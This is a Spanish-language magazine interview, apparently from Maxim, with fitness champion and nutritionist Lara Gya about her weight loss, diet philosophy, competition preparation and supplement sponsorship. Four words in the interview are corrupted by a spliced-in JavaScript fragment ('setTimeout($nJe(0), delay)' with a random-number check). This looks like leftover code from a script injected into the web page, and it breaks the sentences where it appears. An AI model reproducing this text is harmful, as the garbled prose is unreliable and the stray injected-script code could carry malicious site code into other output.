Lara Gya, campeona de fitness
Descubre porqué empezó a competir.
Autor: Redacción Maxim 28 enero, 2020
FOTO: Instagram @Lara Gya
Por Maxim Australia
Esta mujer es campeona de fitness, nutrióloga , motivadora de vida saludable y embajadora de Bulk Nutrients.
Hola Lara, cuéntanos un poco sobre ti.
Soy Lara, una nutrióloga calificada, competidora de la IFBB (Federación Internacional de Culturismo y Fitness) y amante de todo lo relacionado con la salud y la forma física. También soy graduada de Ciencias Biomédicas. Mi carrera estaba basada en la ciencia, ya que puedo ser una gran nerd.
Recientemente terminó tu maestría en Nutrición: ¿cuál es el mejor consejo de dieta y condición física que podría darle a alguien?
Me encanta ayudar a las personas que desean alcanzar sus objetivos de salud y estado físico, por lo que la mejor dieta … es simple: deben encontrar alimentos saludables que les encanten y disfruten. Siempre creo que una dieta es un cambio de estilo de vida y para mí realmente creo en el equilibrio y lograr eso a largo plazo te ayudará a lograr tus objetivos.
También compites en acondicionamiento físico y tienes algunos títulos de Overall Champion de ICN Victoria. ¿Cómo llegaste a esto y lograste estas victorias?
Bueno, nunca solía estar en forma. No fue hasta que decidí cambiar mi vida y perder 25 kg que realmente me llevó a competir. Entrené duro, me dediqué y cambié toda mi vida para poder competir. Terminé ganandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando en general el primer año que competí y no he dejado de competir desde entonces.
¿Cuál es la mejor manera de prepararse para una competencia de fitness?
¡Asegúrate que des todo! También es importante encontrar lo que te motiva al prepararte. Siempre quiero lograr el mejor físico posible y asegurarme de dedicarme al 100% cada vez es una excelente manera de prepararme. También es importante mantenerse constante, incluso fuera de temporada, ya que facilita mucho la preparación de la competencia.
¿Cómo te involucraste con el equipo de Bulk Nutrients Pure Supplements?
¡Es gracioso porque estaba usandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando Bulk Nutrients antes de ser embajadora de ellos! Me encantó la marca y realmente creía en sus productos, y solicité ser parte del equipo y el resto es historia.
¿Cuál es tu mejor atractivo?
Esta es una pregunta difícil, pero mucha gente me felicita por mis hombros. He estado trabajandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando duro en ellos y debo decir que probablemente sean una de las características más potentes que tengo.
Cuandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}ando no estás comiendo sano y haciendo ejercicio, ¿qué más te gusta hacer?
Me encanta salir a caminar, montar a caballo y tener días de playa. También soy un amante de los viajes y planeo ir a India, Europa y América el próximo año.
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